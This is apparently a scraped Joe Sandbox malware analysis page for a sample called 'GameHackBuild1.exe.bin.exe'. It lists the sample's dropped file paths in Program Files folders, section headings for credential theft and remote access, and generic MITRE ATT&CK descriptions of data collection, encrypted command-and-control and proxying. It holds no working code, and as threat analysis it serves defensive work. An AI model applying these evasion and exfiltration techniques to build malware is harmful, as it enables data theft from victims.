Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\MSBuild\SSblKNNQege.exe

C:\Program Files (x86)\MSBuild\f2aefc5695405c

C:\Program Files (x86)\MSECache\OfficeKMS\win8\SSblKNNQege.exe

C:\Program Files (x86)\MSECache\OfficeKMS\win8\f2aefc5695405c

C:\Program Files (x86)\Microsoft Office\SSblKNNQege.exe

C:\Program Files (x86)\Microsoft Office\f2aefc5695405c

C:\Program Files (x86)\Microsoft\Edge\Application\CSC8F87101CD76241BAB3866A995ECAD4A7.TMP

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\SSblKNNQege.exe

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\f2aefc5695405c

Windows Analysis Report
GameHackBuild1.exe.bin.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre